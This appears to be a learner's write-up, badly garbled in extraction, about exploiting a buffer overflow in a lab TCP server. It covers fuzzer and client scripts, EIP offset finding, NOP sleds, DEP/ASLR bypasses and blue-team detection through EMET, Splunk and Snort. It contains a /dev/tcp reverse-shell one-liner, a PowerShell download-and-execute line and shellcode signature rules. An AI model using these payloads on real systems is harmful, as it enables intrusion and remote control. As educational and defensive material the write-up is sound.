DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
